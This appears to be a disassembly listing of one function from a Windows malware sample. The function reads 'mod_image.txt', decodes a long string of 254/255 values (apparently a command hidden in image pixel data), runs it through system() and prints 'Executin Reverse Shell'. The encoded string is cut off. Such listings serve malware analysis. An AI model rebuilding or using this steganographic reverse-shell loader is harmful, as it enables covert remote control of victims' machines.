Function at 0x1400c5b70
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x138
lea rbp, [rsp + 0x80]
call fcn.14000b0c0
lea rax, [rbp + 0x3f]
mov qword [rbp + 0x90], rax
nop
nop
lea rdx, [rbp + 0x3f]
lea rax, [rbp + 0x10]
mov r8, rdx
lea rdx, str.mod_image.txt
mov rcx, rax
call fcn.1400a45b0
lea rax, [rbp + 0x3f]
mov rcx, rax
call fcn.1400942b0
nop
mov dword [rbp + 0xac], 3
mov rax, qword [0x1400f9f50]
mov rdx, rax
mov rax, qword [0x1400f9f40]
mov rcx, rax
call fcn.140073af0
lea rax, str.254_255_255_n255_254_254_n254_254_254_n254_255_255_n254_254_255_n255_255_255_n254_255_255_n255_254_254_n255_255_255_n254_255_255_n254_254_254_n255_254_255_n254_255_255_n255_254_254_n254_255_254_n254_255_255_n255_254_254_n254_255_255_n254_255_255_n254_254_255_n254_254_254_n254_255_255_n254_254_254_n255_254_255_n254_255_255_n254_254_255_n255_254_254_n254_255_255_n254_254_255_n255_254_254_n254_254_255_n254_254_254_n254_254_254_n254_254_255_n254_254_255_n255_254_255_n254_255_255_n254_254_255_n255_255_254_n254_255_255_n254_254_255_n255_255_255_n254_255_255_n255_254_254_n254_254_254_n254_254_255_n254_254_254_n254_254_254_n254_254_255_n254_254_255_n255_254_255_n254_255_255_n255_254_254_n255_255_255_n254_254_255_n254_254_254_n254_254_254_n254_255_255_n254_254_255_n254_254_254_n254_255_255_n254_254_255_n254_254_255_n254_255_255_n254_254_254_n255_254_254_n254_255_255_n254_254_254_n255_254_254_n254_255_255_n254_254_254_n255_254_255_n254_255_255_n254_254_255_n255_255_254_n254_254_255_n254_254_254_n254_254_254_n254_254_255_n254_254_255_n255_254_255_n254_255_255_n254_254_254_n255_254_255_n254_254_255_n254_254_254_n254_254_254_n254_255_254_n255_254_254_n254_255_255_n254_255_254_n255_254_254_n254_254_255_n254_255_254_n254_254_254_n254_255_254_n254_255_254_n254_254_254_n255_255_254_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n254_254_254_n255_255_254_n254_255_255_n254_254_254_n255_255_255_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n254_254_255_n254_254_255_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n254_254_254_n254_254_255_n254_255_255_n254_254_255_n255_255_255_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n254_254_254_n255_254_255_n254_254_255_n255_254_254_n255_254_254_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n255_254_255_n254_255_254_n254_255_254_n255_254_254_n254_254_255_n254_255_254_n254_254_254_n254_255_254_n254_254_255_n255_254_254_n254_255_255_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n254_254_254_n254_255_255_n254_254_255_n255_254_254_n254_254_254_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n255_254_254_n255_254_254_n254_255_255_n255_254_254_n255_255_255_n254_255_254_n254_254_254_n254_255_254_n254_255_255_n254_254_255_n254_254_255_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n254_254_254_n255_255_255_n254_255_255_n254_254_255_n255_255_255_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n255_254_255_n254_255_254_n254_255_254_n255_254_254_n254_254_255_n254_255_254_n254_254_254_n254_255_254_n254_255_255_n254_254_255_n254_255_254_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n254_254_255_n254_254_254_n254_255_254_n255_254_254_n254_254_255_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n254_254_255_n254_254_255_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n254_254_254_n254_255_254_n254_255_254_n255_254_254_n255_254_254_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n254_254_255_n254_254_254_n254_255_255_n254_254_255_n254_255_255_n254_255_254_n254_254_254_n254_254_255_n254_255_255_n254_254_254_n254_255_255_n254_255_255_n255_254_254_n255_255_255_n254_255_254_n254_254_254_n254_255_254_n254_254_255_n255_254_254_n254_254_254_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n254_254_254_n255_255_255_n254_255_254_n255_254_254_n255_254_255_n254_255_254_n254_254_254_n254_254_255_n254_255_255_n254_254_254_n254_255_254_n254_255_254_n255_254_254_n254_254_255_n254_255_254_n254_254_254_n254_254_255_n254_255_255_n255_254_254_n255_254_255_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n254_254_254_n255_254_255_n254_254_255_n255_254_254_n255_254_254_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n255_254_255_n254_255_254_n254_255_254_n255_254_254_n254_254_255_n254_255_254_n254_254_254_n254_255_254_n254_254_255_n255_254_254_n254_254_254_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n254_254_254_n254_255_255_n254_254_255_n255_254_254_n255_254_254_n254_255_254_n254_254_254_n254_254_255_n254_255_254_n255_254_254_n255_255_254_n254_255_255_n255_254_254_n255_255_255_n254_255_254_n254_254_254_n254_255_254_n254_255_255_n254_254_255_n255_254_254_n2
mov qword [rbp + 0xa0], rax
lea rax, [rbp + 0x6f]
mov qword [rbp + 0x98], rax
nop
nop
lea rcx, [rbp + 0x6f]
mov rdx, qword [rbp + 0xa0]
lea rax, [rbp + 0x40]
mov r8, rcx
mov rcx, rax
call fcn.1400a45b0
lea rax, [rbp - 0x10]
lea r8, [rbp + 8]
lea rcx, [rbp + 0xc]
lea rdx, [rbp + 0x40]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.140016d20
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.1400a4e30
lea rax, [rbp + 0x6f]
mov rcx, rax
call fcn.1400942b0
nop
mov r9d, dword [rbp + 8]
mov r8d, dword [rbp + 0xc]
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x10]
mov ecx, dword [rbp + 0xac]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call fcn.140016b80
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.14009ff80
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.1400165b0
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.1400a0080
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.140028050
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, str.Executin_Reverse_Shell
mov rdx, rax
mov rax, qword [0x1400f9f40]
mov rcx, rax
call fcn.1400c1a80
mov rcx, rax
mov rax, qword [0x1400f9f50]
mov rdx, rax
call fcn.140073af0
mov rax, qword [0x1400f9f10]
mov rcx, rax
call fcn.14006f920
mov ebx, 0
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.1400a4e30
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400a0080
lea rax, [rbp - 0x10]
mov rcx, rax
call fcn.14009f500
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.1400a4e30
mov eax, ebx
add rsp, 0x138
pop rbx
pop rbp
ret